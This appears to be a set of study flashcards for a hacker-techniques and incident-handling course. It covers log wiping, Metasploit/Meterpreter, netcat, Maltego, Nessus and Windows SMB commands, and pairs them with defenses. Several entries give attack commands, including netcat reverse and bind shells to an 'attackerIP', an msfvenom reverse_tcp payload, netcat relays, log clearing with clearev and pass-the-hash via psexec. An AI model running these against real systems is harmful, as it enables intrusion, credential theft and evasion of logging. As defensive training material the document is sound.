Log Editing - (Windows) - Covering Tracks	5	81	c:\Windows\System32\winevt\Logs -Application.Evtx- Application-oriented events -SecEvent.Evtx-Security events -SysEvent.Evtx-System events (readable by all users) files are write-locked on a running system, stored in binary --Attacker can delete logs or generate bogus logs to overwrite data --both are easily noticed but can still hide important log information** Theoretically an attacker could boot to Linux and edit the offline NTFS logs -no public software exists, but the capability is there Meterpreter clearev can wipe logs, currently no lineby-line ability The three primary Windows event types are stored temporarily in these log files:--SYSTEM.LOG--SECURITY.LOG--APPLICATION.LOG These files are not readable for all practical purposes. Each .LOG file is periodically rewritten into an .EVT format automatically, in the following files:--SYSTEM.EVTX--SECURITY.EVTX--APPLICATION.EVTX
Log Editing: Meterpreter Log File Alternations	5	82	The Metasploit Meterpreter also includes a log wiping utility--clearev command--Clears all events from the Applicatio, System, and Security logs ----No option to specify a partcular type of log or event to wipe Currently it clears the event logs completely, but could be expanded in the future to line-by-line event log editing
Log Editing: Defenses from Covering Tracks on Systems	5	83	• Preparation: -Use a separate server for logging- •Unix: send syslog to a separate server; • Windows: use Windows Event Forwarding (WEF), leverages built-in WinRM service to pull/push logs to central repo for aggregated analysis •user behavior analysis UBEA p85 • ELK to ingest, store, searc, and display data from logs --Cryptographic integrity checks of log files (Msyslog) -Use Write-only settings for logging • Identification: look for gaps in logs -look for corrupt logs • let SIEM sort out logs, and understand what does/doesn't need to be logged • JPCert for logging which type of events are triggered when certain attack tools/techniques are used p 84
Logs - Windows	5	81	Main Event Logs By default stored in C:\Windows\System32\winevnt\Logs Application.Evtx -Application-oriented events --Security.Evtx -Security events --- System.Evtx -System events (readable by all users) -Windows Event Logger buffer files SYSTEM.LOG, SECURITY.LOG, APPLICATION.LOG (these files are not readable)
logstash	3	58	uses CAMTableExport.ps1 script to collect MAC address info from netowrk switches
logwedit.c	5	71	Unix/Linux log editing tool. One of several tools.
LoJax UEFI	4	69	Russians hackers developed malware to implant andinfect UEFI boot loader code joining a distributed Command and Control network, persisting after OS reinstall
Loki	5	94	PROVIDES SHELL ACCESS OVER ICMP / Carries shell between its Linux client and Linux server software using ICMP echo and reply packets
LoL	3	22	living off the land • attacker uses tools available without introducing new tools to the systems
long tail analysis - KANSA	1	129	**Focused on stacking like systems against each other to provide a ranked listing of process network connections, and configuration of systems which are installed on only a few systems**. Its all part of statistical long tail analysis
Long-Term Actions	1	101	patch system • IPS or Snort/Suricata • Null Routing • change passwords • firewall and router filters • remove attacker accounts and shutdown backdoor processes • is a Band-Aid prior to eradication
Long-Term containment	1	100	after backup for forensics analysis can make changes to the system • implement long-term containment • move to eradication phase
lookupnames - rpcclient	2	141	feature lets you see the SID for a user name that you provide
lookupsids - rpcclient	2	141	converts a user name you provide into the SID on the target machine
Low Orbit Ion Cannon (LOIC)	4	136	supports TCP connection floods, UDP floods, or HTTP floods; runs on windows linux andriod, java, controled on irc or twinter "hive mind"
lsaenumsid	2	141	shows the Security Identifier (SID) of all users defined locally on the target windows machine
LSASS	4	52	Also: Local Security Authority Subsystem Service ---authentication process, important for pass-the-hash attacks
LSASS process	4	52	Local Security Authority Subsystem Service: process in Windows OS responsible for enforcing the security policy on the system. Verifies user logons, handles password changes, and creates access tokens
LSMOD	5	50	ismod inserts loaded kernel mods (drivers) lsmod list loaded kernel mods (drivers)
lsof -i	1	52	unix command to show running services
lsof -i	2	112	lists all TCP/UDP ports usage and the processes listening example on page
lsof -i	1	196	shows info on network usage
lsof -p pid	2	112	shows all files associated with the listening process, including program file that ran it, libraries in use, all config files it opened and more • example on page
lusrmgr.msc	1	69	launches Local Users and Groups GUI

Macros Creating Malware	3	105	Word macros are all the rage these days--And for the past 10+ years--However some users are getting warry of any macros in Word documents--Why not use PowerPoint----Because we can also use Run_On_Open in PowerPoint----There will be another prompt for the user----Two prompts = low probability of sucess--Once way is to create events for malware triggering----Mouseover or clicking--
malformed packet attack - DoS	4	124	involves sending a single packet or small stream of packets to system that are formed in a way not anticpated by the developers of the target machine, causes system to crash, ex: bonk, WinNuke, and teardrop, Ping of Death
Maltego	2	53	**intelligence gathering tool** that searches through a variety of public information sources • Gathers information about relationships between people, social networks, companies, websites, domains, IP addresses, etc • start with one or more pieces of info, such as person's name, phone number, domain name, email address, website URL, IP address and given that piece of information Maltego applies the concepts of transforms • Transforms convert one piece of information (such as a domain name) to another piece of information (such as an IP address) • Graphically displays relationships of information (cascading hierarchies of data points mapping to other data points • Runs on Linux, Windows, and Mac OS X • Community edition is free but has limitations
Maltego - Commercial Edition	2	54	Commercial edition includes a subscription to various transform databases that Paterva operates, plus the ability to create your own transforms that go beyond those baked into the tool
Maltego - Transform Result	2	53	When many transforms are applied repeatedly, is a cascading hierarchy of related information all associated in some way to the original data
Maltego Defenses	2	55	**Preparation** • Ensure that publicly available info about your organization is accurate • keep records (whois and domain information) up to date • Conduct recon on your organization (WITH PERMISSION) • request inaccurate or damaging information be updated or removed from sources through legal • May be politically difficult or impossible to compel removal of some information
Maltego OUTPUT	2	54	**Screenshot**
Maltego Transform Examples	2	54	• DomainToPhone_Whois• DomainToMXrecord_DNS• DomainToPerson_PGP• IPAddrToPhone_Whois• PersonToPerson_PGP • EmailAddressToEmailAddrSignedPGP
Maltego Transform Name	2	54	• the piece of information that transform must start with (domain) • the information it will look up to transform it to (phone) • mechanism it uses to make the transform work (whois database lookups)
Maltego Transforms	2	54	• convert one piece of information (such as a domain name) to another piece of information (such as an Email address based on PGP keys available on public PGP key servers) • a series of lookups into public sources of information to find related pieces of information. Examples: DomainToPhone_Whois, DomainToMXrecord_DNS,DomainToPerson_PGP, IPAddrToPhone_Whois,PersonToPerson_PGP, EmailAddressToEmailAddr_SignedPGP
Malware Diggity	2	50	searching a site to see if it is hosting malware
Malware Domain List	1	121	list of evil IP, Domains
malware hosting	2	50	SearchDiggity's module called "Malware Diggity" can check to see if a site is hosting malware
Malware Layers	5	7	Diagram on page. Application-level backdoors, user-mode rootkits, kernel-mode rootkits.
Management Support	1	29	Create an Incident Response "IR" newsletter monthly or quarterly for MGMT • helps MGMT get it and "buy-in" to support
Man-in-the-Middie Framework (MitMf):	3	32	• MitMf is an outstanding tool by byt3bl33d3r which supports just about everything one can do with a MitM tool. It can intercept HTTPS with SSLStrip+, insertion of malicious .hta files, redirection to a Browser Exploitation framework host and integration with LLMNR poisoning tools like responder. It even supports file modification and injection for malware delivery! • can manipulate TCP on the fly and backdoor execute. p34
man-in-the-middle attack			can cause a Connection Untrusted screen to appear
marry.c	5	71	Unix/Linux log editing tool. One of several tools.
Masscan	2	106	Created by Robert David Graham; traditional port scanner; runs two processes in parallel first part sends SYN packets quickly, second part waits for SYN-ACKs; great for scanning thousands of systems; Bare bones but very fast • separating the SYN and SYN/ACKs increases scan speeds • by default masscan does 100 packets per second • *--rate 50000* increases it to 50000 packets a second
masscan 10.0.0.0/8 -p 22,25,80,445,389	2	106	code to scan 16 million hosts, can add *--rate 50000* to scan 50,000 packets per second, 100 packets per second is the default
McAfee Rootkit Remover	5	56	Windows- Rootkit detection tool

Memory Analysis	5	22	Serveral tools to analyze memory dumps from Windows machines Determine attackers; actions, such as executing malicious backdoors First you'll need a memory dump.. Memoryze MemorryDD.Dat, fastdump, win32dd, FTKImager and MansTech's mdd Volatile Systems; Volatility Framework Free, open source, very feature rich and useful; a modular tool written in Python Googles Rekall
Metageek	2	69	uses active and passive scanning with standard Wi-FI card on Windows • Identifies SSID, security settings, signal strength, channel info • Integrates with GPS for mapping • v2.0 replaced by Metageek(inSSIDer Plus) and inSSIDer Lite •• screenshots p 68 WB
metamorphic worms	4	60	changes in fuctionality -- changes the signatures
Metasploit	1	51	often uses port 4444
Metasploit - Defenses	3	96	Strictly control outgoing traffic----Start "hunting team" - looking for attack indicators. Hunt the hunters--Webcast: RITA - Finding Bad Things on your Network Using Free and Open Source Tools
Metasploit Additional Features	3	86	Features:•Multi session support for multiple targets.•In memory proccess migration.•Disabling Key Board and mouse•keystroke loggingfrom within the Meterpreter•sniffing from within Meterpreter•Multiple encoders for exploit and payload for IDS evasion•Pivoting to use one compromised system to attack another• Priv module for altering all NTFS timestamps and dumping SAM database for cracking•GPS and webcam capabilities
Metasploit Arsenal	3	80	4 Main modules: **1. Exploit** Collection - Little snippets of code that force a victim machine to execute the attackers payload. **2. Payload** Collection - The code the attacker wants to run on the target machine. Some payloads create a command-shell listener on a network port, waiting for the attacker to connect and get a command prompt. Other payloads give the attacker direct control of the victims GUI via VNC **3. Auxiliary** Modules - inlude port scanners, vulnerability scanners, denial of service tools, and fuzzers to find secruity flaws. **4. Post Modules** - Are for post exploitation, taking action on a target machine after an attacker has sucessfully exploited it (crypto keys or local privilege escalation)
Metasploit Benefits	3	88	Many feature already built in will simplify development---Over a thousand example exploits to learn and copy from--Once an exploit is developed in the framework, it can use any payload already in the framework---If you develop in the framework, your exploit can be popped right into Metasploit engine
Metasploit clearev	5	82	Metasploit Meterpreter includes this command. When invoked from within Meterpreter of a compromise machine, clears the entire contents of the Application, System, and Security logs. This feature currently is a one shot log eraser, and does not offer line by line editing of logs at this time.
Metasploit Exploits Included	3	82	New exploits are released on a regular basis --Windows services - built on to the OS, Separate, thirdparty, including SCADA control programs running on Windows. --Windows Client software - Browsers (IE FireFox and more), Document readers(Adobe Reader), Runtime Enviroments(Adobe flash, Java), Media player(iTunes, Quicktime, Real Player) ---Unix services - Linux, HP-UX, Solaris Web servers - Apache, IIS,Mobile Devices
Metasploit Framework	3	79	Runs on Windows, Linux, BSD, and MacOSX A modular tool tying together --Exploit, Payload, and targeting(dest IP address, port, options)-Exploit and payload development packages (Over 1000 expoits are defined for this tool) -Other computer attacks, including scanning and evasion tactics Metasploit also includes some scanning options with a UDP port scanner and some capabilities for determining whether a given target has a vulnerability that Metasploit can exploit.
Metasploit Payloads	3	83	• Many payloads to choose from (Both 32 and 64 bit) - Bind shell to current port - Bind shell to arbitrary port - Reverse shell back to attacker (shoveling shell) - Windows VNC Server Dll Inject - Reverse VNC DLL Inject (shoveling GUI) - Inject Dll into running application - Create Local Admin user• All payloads can be exported in many different formats - Macros - Executable (Windows, Linux, and mobile devices) - Web Components - Raw C, Perl, and Ruby code
Metasploit Psexec	4	54	• Metasploit psexec module supports Pass-the-Hash• authenticates to a target using the credentials stored in the SMBUser and SMBPass variables• the SMBPass can hold either a password or hashes in the form of "LM:NT"• if the target account lacks a LM hash, you can configure Metasploit with an SMBPass of the LM hash of blank (AAD3B435B51404EE), followed by a colon, followed by the NT hash• metasploit has intelligence to auto detect whether a password or a hash has been provided in SMBPass, and it authenticates to the target appropriately, causing it to run a metasploit payload

Metasploit Routines	3	87	Metasploit includes routines used by exploit developers- Payloads-Various encoders/decoders to create polymorphic code to evade detection and filtering- randomized NOP generator- A wrapper for shell code generation-Routines for finding the exact offset in a buffer the over wrote the return address.- Shellcode creation-Msfelfscan and msfpescan - These tools search for executables and libraries for machine language elements that could be a sign of vulnerabilities.
Metasploit User interfaces	3	81	Console, Cmd line, and GUI interface. 1. Select Exploit, 2. Set Target, 3. Select Payload, 4. Set Options and 5. LAUNCH.
Meterpreter	3	84	General purpose module giving the ability to load and interact with DLL in real time, after exploitation has occurred and interacts across the network with the DLL.Creates specialized command line access within a runnign proces:-Doesn't create separate process to execute the shell -Doesn't touch hard drive, unless you want it to everything is in memory-Doesnt need any system-provided command executables for its command shell; they are built in to the meterpreter Easily extendable by adding new DLLs Orignally released for Windows targets, PHP Meterpreter has been released for web site targets, Meterpreter for Linux, Java, Python * (MacOS X under construction)
Meterpreter Features	3	85	Features:-Display sytem info including OS type and the users ID.-Interact with the file system, including navigation (cd), directory listing (ls), and the ability to upload and download files.-Interact with the network, pulling network configurations information and implementing TCP port fowarding, something that can help pivot around firewalls.Build port relay -Interact with processes to run new programs, kill processes, or list processes on the machine.Meterpreter -Communications utilze TLS-Encrypts them, making them more difficult to detect.
Microsoft ATA	5	85	commercial automated behavior analysis tool
Microsoft Credential Guard	4	57	isolate access to lsass.exe and the pasword hash data from attacker on compromised system
Microsoft IIS Attack	1	14	Chart shows snort output on Microsoft IIS attack on a Windows 2000 and Apache.
migrate -N lsass.exe	4	21	migrate the shell into lsass.exe for meterpreter to use hashdump in newer versions of meterpreter
Mistake - Credit Card #1	5	125	The victim had relied on MAC address filtering at it access points, a security measure that is easily bypassed by an attacker running Wellenreiter or any other wireless sniffer. the victim should have relied on cryptographic authentication for access to the store networks, using protocols such as 802.11i, • nmap to map the network, Hydra for password guessing
Mistake - Credit Card #10	5	130	victim did not review logs, but it would have allowed the victim to discover the attacker early in the process minimizing the damage to the victim's reputation and finances
Mistake - Credit Card #2	5	126	The victim allowed weak passwords on important servers, including their store servers, which hosted an FTP service.
Mistake - Credit Card #3	5	126	the victim's store servers did not even require an FTP service to be running in the first place
Mistake - Credit Card #4	5	127	stored credit card numbers or other sensitive information longer than required
Mistake - Credit Card #5	5	127	should apply filters at the routers of FW b/w their branches, outlets, or business units, allowing only those services required by the business to go through
Mistake - Credit Card #6	5	127	passwords were synchronized between stores; should have used difficult to guess pw that were different for the servers in each store
Mistake - Credit Card #7	5	128	patch the system including not only the underlying OS, but also all of the apps they have installed
Mistake - Credit Card #8	5	128	info is quite sensitvie and should by carefully encrypted throughout its journey across even an internal network
Mistake - Credit Card #9	5	129	failed to test it internal corp web apps for flaws like SQL injections, need to be scrutinized for vulnerabilities
Mistake - TGTarget #1	5	133	A custom Content Management System (CMS) written by a third-party didn't' get as much scrutiny as it should. Attacker discovers a trivial-to-exploit SQL Injection flaw in HTTP GET parameters
Mistake - TGTarget #10	5	140	CMS user also had full admin control over whole company Google Corp Mail accounts, allowing attacker to grab all email from corp accts and reset passwords to send email from accounts
Mistake - TGTarget #11	5	141	Old versions of root passwords were in email archive of VIP account on Google's mail service, allowing attacker to mount a very effective social engineering campaign
Mistake - TGTarget #12	5	142	Victim succumbs to social engineering, offering more information than is necessary (no remote root login)
Mistake - TGTarget #13	5	143	Victim admin can't check IP address to see where connection is coming from, so inbound filtering is neutered
Mistake - TGTarget #14	5	143	Attacker chooses password for user account (note that attacker doesn't know user account name yet, just root password)

Mistake - TGTarget #15	5	146	Victim admin now tells the attacker account name. Social engineering allowed attacker with knowledge of root password but no remote root access to get a non-root account name with a password of his/her choosing, suitable for remote login and su access to root.
Mistake - TGTarget #16	5	147	Even the Twitter password for original CMS user was synchronized with weak CMS password, allowing attacker to announce the compromise using the victims' own identities
Mistake - TGTarget #17	5	148	No encryption of email, allowing attacker to pull all plundered clear text email on a file distribution site. A lot of email was digitally signed, event preventing deniability and claims of false attribution
Mistake - TGTarget #2	5	134	Monitoring didn't detect attack or exploit
Mistake - TGTarget #3	5	135	CMS created user hashes with a single round of MD5… unsalted. This is trivial to crack with rainbow tables.
Mistake - TGTarget #4	5	135	Two CMS users (who can update content) had easy 6-char passwords
Mistake - TGTarget #5	5	136	Synchronized weap passwords between the CMS system and shell-accessible support server system
Mistake - TGTarget #6	5	136	SSH client auth via password only, not user-side keys
Mistake - TGTarget #7	5	137	Support server was missing three-month-old patch that prevents exploitation of a local priv escalation flaw
Mistake - TGTarget #8	5	138	Backup and research data was stored in cleartext on support server, which is Internet accessible, and allows user shell access via SSH
Mistake - TGTarget #9	5	139	CMS user had synced password from CMS support server, and Google Mail Corp App.
Mitgating GPU-Based Pasword Cracking	4	28	NIST recommends Password-Based Key Derivation Function 2 (PBKDF2) for password-hashing functions. Allows developer to specify number of Hashed Message Authenticity Check (HMAC) hashes (2 per round) with some systems requireing a million hash rounds to calculate the value. • WPA/WAP2 uses PBKDF2 for pre-shared key authentication with 4096 SHA-1 hash rounds • Bcrypt requires more memory to produce a password hash with greater complexity than standard hash (72 character password llimit with no NULL bytes) • Scrypt requires 1000x as much memory, with is difficult for GPUs to accomodate • Argon2, is a new algorithim • page goes into details on each hashing program
MITRE ATT&CK Matrix	1	82	website with collection of techniques used by actual malicious attack groups
modem-war dialing	2	61	requires phone line, modem; slower than VoiP
ModSecurity	4	94	Offers solid filtering features to stop SQL attacks and Cross-Site Scripting attacks of Apache, IIS, Nginx
MongoDB	1	49	MongoDB servers have been the victim of several ransomware incidents • port 27017
Monitor	1	112	monitor for backdoors that escaped detection • use HIDS and IPS create custom sig for attack vector
Monitor email	1	152	get copies of email to/from suspect, view email offline to not send auto reply
Monitor phone calls made/received	1	153	patterns dialed, avoid listening to conversations unless approved by legal in writing
Monitor work habits	1	153	working late, work from remote locations more often?
more (windows)	5	75	can be used to view the contents of a stream, but you have to know the stream's location and name to invoke to view its data Ex. more < c:\file:stream1
MP3Stego	5	109	Hides in mpeg files
MS-CHAPv2	2	80	authentication exhange used by PEAP networks • example on page
msfelfscan	3	71	metasploit function to analyze assembly code for weak functions
msfelfscan	3	87	tool to search executables and libraries for machine language elements that could be a sign of vulnerabilities, such as POP+POP+RETURN swquences, often indicate a function call return (popping the local variables and return pointer off the stack, followed by a return to the calling function)
msfpescan	3	71	metasploit function to analyze assembly code for weak functions
Msfpescan	3	87	search executables and libraries for machine language elements that could be a sign of vulnerabilites
msfvenom -p windows/meterpreter/reverse_tcp LHOST=AttackerIP LPORT=PORTNUM -f raw -o payload.raw --platfor windows -a x86	3	110	example how to use msfvenom to manipulate payloads to change binary to ASM source
Msyslog	5	83	Cryptographic integrity checks of log files
multi-disciplinary team	1	30	security, operations, net mgmt, legal counsel, HR, PAO, Disaster Recovery, Union (if union shop)

Multiplatform Worms	4	62	• Most worms to date have targeted only one operating system type per worm - Nimda- Windows; Ramen- Linux; Sasser - Windows; Conficker - Windows; Morto - Windows • small number have been cross platform - IIS/Sadmind - Windows and Solaris - Stuxnet - Windows and altered messages to manipulate SCADA systems• In the future, a single worm will attack many OS types, all rolled up into a single worm -Linux, Windows, Solaris, BSD, AIX, VMS • Makes fixing systems much harder - You must patch a bunch of system types instead of just one - more coordination required - That'll slow down our response, letting the worm spread farther and faster
Musabetsu-kougeki	2	16	Japanese for Non-Discriminating attackers
Name Resolution (DNS) (Passive & Active Sniffing)	3	31	• On Windows systems, there are also a couple of protocols computers will use to resolve names of other systems - DNS, Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) • failing DNS, systems will query local systems for a name using LLMNR, failing that, they will use NBT-NS • Every bit as bad as it sounds • Kind of like asking friends for bad directions
namechk	2	40	identify which social networking sites a target user account may be using ; checks over 100 social network sites
NBT-NS	3	31	• Netbios Name Service.. if LLMR fails they will use this to resolve names. LLMNR is used when DNS resolution fails on Windows. Both (NBT-NS and LLMR) of those services can help with DNS resolution
nbtstat -S	1	62	shows NetBIOS over TCPIP activity • the -S indicates we want to see systems connected to our machine by IP address
nc [target IP] [port]	3	15	ex. nc 10.10.10.10 1234 linux nc.exe 10.10.10.10 1234 windows interact with listening shell
nc attackerIP port -e /bin/sh	3	15	open shell from victim protected server back to attackerIP
nc -e	3	15	• program to execute after connect, a useful option for creating backdoors. In many versions of Netcat, this option is not compiled in, but we see a work-around for creating backdoors with a Netcat that does not support -e. pushes a shell from client to a listener • sometimes called gaping hole security • can only take one command after -e
nc -l	3	16	netcat command to listen once; when the connection is dropped the listener stops
nc -L	3	16	• Listen harder (supported only on Windows version of Netcat). This option makes Netcat a persistent listener, which listens again after a client disconnects.
nc -l -p 1234 > filename	3	13	listener side when pushing a file from client to listener ••screenshot p109 WB
nc -l -p incoming_port | nc target _server outgoing port (Netcat Relays)	3	17	• To create a one-way Netcat relay, only a single command string is required:
nc -l -p incoming_port | nc target_IP outgoing_port	3	17	netcat relay used to bounce an attact across a bunch of machines "owned" by the attacker. Obscuring the real originating point of attack
nc -l -p port -e /bin/sh	3	15	unix command to backdoor a shell with netcat ••screenshot p110 WB
nc -l -p port -e cmd.exe	3	15	Windows command to backdoor a shell with netcat
nc -l -p portnum 0<backpipe | nc -l -p 8080 1>backpipe	3	18	creates a named pipe to redirect traffic ••example p114 WB This relay type doesn't need root priviledges if you use ports over 1023
nc listenerIP 1234 > filename	3	13	client side when moving a file from the listener back to client ••screenshot p108 WB
nc -p	3	14	• In the more traditional versions of Netcat, this option indicates "local port." That is, in server mode, this is port listened on. In client mode, this is source port. In other versions ofNetcat (especially those derived from gnu-Netcat), the -p indicates "source port" only. The difference here is often in how you create listeners.
nc -r	3	14	• perform random scans
nc -u	3	13	• UDP mode(default is TCP)
nc -v	3	14	• Be verbose (print when a connection is made)
nc -v -w3 -z targetIP startport-endport	3	14	.-v verbose -z for option for minimal data for TCP other than handshake •t -w3 wait three seconds (Conducting a port scan of TCP ports.)
nc -wN	3	14	• timeout for connects, waits for N seconds (useful for scanning). This field confuses some people, so let's look at it in more detail. In essence, a Netcat client or listener with this field waits for N seconds to make a connection. If the connection doesn't happen in that time, Netcat stops running. If a connection occurs, Netcat sends or retrieves data. When no data is transmitted for a total of N seconds, Netcat stops running.
nc -z	3	14	• option for minimal data for TCP other than handshake •

ncat	3	9	• It supports SSL encryption for both clients and listeners. It also allows multiple clients to connect to a single listener simultaneously. . Ncat can also help a user communicate between two systems behind NAT devices by implementing an interesting connection-broker function. When Neat is run as a connection broker, it listens on a given port. Then, two or more clients running on multiple different machines can connect simultaneously to this listener All data sent from one client is directed to all the other connected clients through the broker. A similar Ncat feature involves its chat capability. a listener listens for connections from multiple clients. Any data sent from one of the clients is sent to all the other clients, but with a message prepended indicating a unique user number for each client. Redirects output I/O ••Lab p115WB
nc-l -p 1234 < filename	3	13	listener side when moving a file from listener back to client ••screenshot p107 WB
need to know policy	1	45	leaked information can ruin an investigation even if on accident • may be required to testify
Nessus	2	123	Most popular vulnerability scanner; maintained by Tenable Network Security---Nessus is a client-server architecture, with a large number of plug-ins that measure targets for individual vulnerabilities.---Commercial($1200 per year) and free home use license.
Nessus - "Dangerous" Plugins	2	125	impair target system; make it crash or unstable; can lockout accounts; results in DoS condition for legitimate users;
Nessus - "Not Dangerous" Plugins	2	125	simply check the version number of a target service and indicate whether there is a known DoS attack against it; does NOT launch the attack
Nessus - "safe checks"	2	125	ensures dangerous plugins will not be run in a scan; activated by default; dangerous plugins WILL NOT run in a default Nessus configuration
Nessus Attack Scripting Language (NASL)	2	126	Scripting language built into Nessus so you can write your own plugins
Nessus Client	2	125	runs inside HTML 5 capable browsers Firefox, IE, and Chrome; usually run on same box as server
Nessus Client-Server Architecture	2	124	Nessus Server includes the various plugins, each of which performs a single test against the chosen target systems. The server is configured using the Nessus client. Nessus client is an HTML5-based GUI which runs in a browser on the client machine. Nessus user invokes a browser and surfs to the Nessus server machine using HTTPS to TCP port 8834. After logging in the user configures a scan policy and invokes a scan. Nessus server conducts scans and stores the results which can be displayed and exported in a variety of formats. Server and client can be run on same computer and often are.
Nessus Manual Updates	2	126	The script "nessus-update-plugins" can be used to manually get the updates for Nessus; it is best to test them in a test envrironment before using them on a production system
Nessus Platform Support	2	125	1) The Nessus server is available for - Linux, FreeBSD, Mac OS X, and Windows 2) The server is accessed and configured using a browser, which runs an HTML5-based client 3) Of course, client and server can run on the same machine - the most common use case 4) Some plugins are characterized as "dangerous" - They actually launch the attack- Some of the plugins in the Deniel of Service family of plugins are dangerous; others are not as they merely check version number- "safe checks" is the GUI option that turns olff dangerous plugins- These dangerous plugins are disabled by default 5) Nessus is based around plugins.
Nessus Plugins	2	126	1)Some plugins are written in C or, plugins can be written in the Nessus Attack Scripting Language(NASL) 2) Currently there are 100,000 plugins updated frequently 3) One plugin is in charge of doing one attack and reporting the result to the Nessus server daemon (nessusd) 4) The number of plugins equates roughly to the number of tests conducted by the tool 5) Each plugin can use some functions of the Nessus library and store information in a shared knowledge base 6) Automatically updates plugins every 24 hours. You may want disable this auto-update of plugins and instead only update them manually when you want to evaluate the newest plugin in a test enviorment by using "nessus-update-plugins" script.
Nessus Server	2	125	Available on many platforms Linux, FreeBSD, MacOS X, Windows; usually run on the same box as the client
Nessus Server daemon	2	126	Nessusd; Nessus Server Daemon; runs as a service
Nessus Updates	2	126	Automatically updates every 24 hours after registration with Tenable (the company that developed Nessus); better to disable auto updating and download manually
nessusd	2	126	Nessus Server Daemon; runs as a service
net localgroup administrators	1	69	CMD line: lists all users in the administrators group • screen shot in WB page 21
net mount \\10.0.0.1\one /p:adminpassword /u:adminuser			sets up an administrative session with remote system 10.0.0.1 and mounts the share "one" to your system
net session	1	62	shows inbount SMB session connections

net session (CMD)	2	142	for inbound SMB connections.View - net session Drop - net session \\[IPaddr] /del
net session \\[Ipaddr] /del	2	142	command will drop an inbound SMB session
net start	1	66	shows a list of running services
Net Traveler	1	135	Many recent high profile attacks were espionage
net use	1	62	shows if local machine has made any NetBIOS/SMB connections to other systems
net use \\[target ip]\[sharename] [passwprd] /u -[username]	2	132	2) To connect as another user or to a specific share - User does not need to be in the admin group to ipc$ or other open shares - if you leave off the password Windows will prompt you for it
net use (CMD)	2	142	for outbound SMB connections.View - net use Drop - net use \\[IPaddr] /del
net use * /del	2	142	command will drop all outbound SMB sessions
net use \\[Ipaddr] /del	2	142	command will drop an outbound SMB session
net use \\[target ip]	2	132	3) Connect as a no user (anonymous or NULL SMB session) - A null SMB session has a blank user name and blank password C:\> net use \\[targetIP] • example p133
net use \\[target ip]"" /u -""	2	132	1) On Windows machines the "net use" command can establish a session - the currently logged on users credentials are sent via pass through authentication - default administrative share is selected (typically ipc$, but other shares such as admin$, C$, or others may be connnected) • example p133
net user	1	69	CMD line: Lists users
net user /domain > file.txt	2	134	create a txt doc with a list of domain user accounts
Net user \\IP.ADD /u: username	2	134	Connect as a specific user to the specified share name
net view - display shares	2	133	net view \\[TargetIPAddr] displays shares on system; if Access is denied, you have not yet established an SMB session to the target system. • example p133
net view (CMD)	2	133	used to get a list of running shares after an SMB session is established. Net view \\[targetIPadd]
net view \\127.0.0.1	1	62	show all file shares on a machine
net view \\targetip	2	133	list of shares running • • example p133
net view \\x.x.x.x	2	133	show available shares IPC$, C$, ADMIN$ net view hides these shares but they are still there..
netcat	1	53	tool used to read/write to network connections using TCP or UDP; a backend to drive other programs runs on windows, linux, android, apple and more
Netcat - Data Transfer	3	13	can create sealthy data transfers using UDP port 53 • 2 options for data x-fer: 1. move file from listener to client: listener *nc-l -p 1234 < filename* ; client *nc listenerIP 1234 > filename* 2. push file from client to listener: *nc -l -p 1234 > filename ; client nc listenerIP 1234 < filename* • option 1 can be used with a browser • can set a source IP address on listener so it only accepts connections from one source address
Netcat (Multipurpose Netcat) 1	3	9	Simply reads and writes data across a network • Focus is on moving raw data between ports (UDP/TCP) on the systems • There are many faces of Netcat • Traditional Netcat; Gnu Netcat - functional equivalent; Ncat a veriation created for the NMAP Project • supports SSL and has nice, easy-to- • Listener supports multiple simultaneous connections (100 max by defualt) • connection broker for NAT bypass and chat server functions - Dnscat: Netcat functionality over DNS, by Ron Bowes - Socat: generic relay of data across data channels with SSL, raw IP, etc - Cryptcat: Encrypting Netcat - Linkcat: Netcat functionality in raw Ethernet Frames • Many times, Netcat and its cousins (some with a few modifications) are not caught by antivirus software.
Netcat (Multipurpose Netcat) 2	3	9	• Netcat is one of the most useful tools for hacking and cracking available today. It allows you to easily move data across a network, functioning much like the UNIX "cat" command, where data can be sent over various TCP or UDP ports instead of through programs or files. There are many different Netcat clones. Besides the original Netcat, there is Gnu Netcat, which sought to implement a feature-compatible version of Netcat.
Netcat Backdoor - Reverse Shells	3	16	• You can even "push" session from client to listene - This is sometimes called "shoveling shell" - listener: nc -l -p [port] - client: nc [listenerIP] [port] -e /bin/sh - Then, type commands at the listener - The network thinks the connection is outgoing Telnet, HTTP, whatever... It's really an incoming interactive shell. • Of course, no application-level, protocol-specific formatting is applied to the data. With Netcat, only raw data is sent using the desired ports. Packet filters are easily fooled. Good proxy firewalls detect the fact that the application-layer protocol is not being used and should drop the traffic.
Netcat backdoor - Shoveling Shell	3	16	- also known as "reverse shell" used to Push a shell session from a client to a server
Netcat backdoor shell	3	15	can provide backdoor login shell by setting up netcat listener on any port and activating the -e(execute) option in unix: nc -l -p port -e /bin/sh windows: nc -l -p port -e cmd.exe need to use netcat in client mode to connect to the backdoor nc listenerIP port • **ran as the user that ran Netcat listener**
netcat backpipe relay approach diagram	3	19	diagram and explanation on how the backpipe works

Netcat Client Mode	3	10	• Client mode initiates a connection to a specific port • **Standard input** is sent across network - Keyboard, redirected from a file or piped from an application • All data back from the network is put on **standard output** • Messages from the tool itself are sent to **standard error (stderr)** - That's nice, because they won't be put in stdout and, therefore, won't corrupt anything you want to capture • Supports source routing, which is useful for spoofing.
netcat Client to Listerner	3	13	listener: nc -l -p [port] > [filename] client -nc [listenerIP] [port] < [filename]
Netcat Command Switches	3	13	• Don't forget standard shell redirects >: Dump output to a file; <: Dump input from a file; |: Pipe output of first program into second program
Netcat Commands vulnerability Scanning	3	14	•-r -random scans •-z -minimal data to be send •-w3 -wait no more than 3 seconds on each port
Netcat Data Transfer	3	13	• Send files between machines • Option 1) To move a file from listener back to client - listener: nc -l -p [port] < [filename] - client: nc [listenerIP] [port] > [filename] • Option 2) To push a file from client to listener - listener: nc -I -p [port] > [filename] • You can even use some browsers as the client for option 1 • Works with TCP or UDP • You can even set up source IP address on listener so that it only accepts connections from one source address - Similar functionality to a TCP wrapper
Netcat Defenses	3	26	• The defense against Netcat depends on the mode in which it is used• To summarize, preparation step involves: - **Data transfer** - know what is running on your systems - **Port scanner** - close all unused ports - **Vulnerability scanner** - apply system patches - **Connecting to open ports** - close all unused ports - **Backdoors** - know what is running on your systems - **Relays** - carefully architect your network with layered security so an attacker cannot relay around your critical filtering capabilities • Intranet firewalls can help create chokepoints for filtering • Private VLANs (PVLANs) can also help restrict the flow of traffic between systems
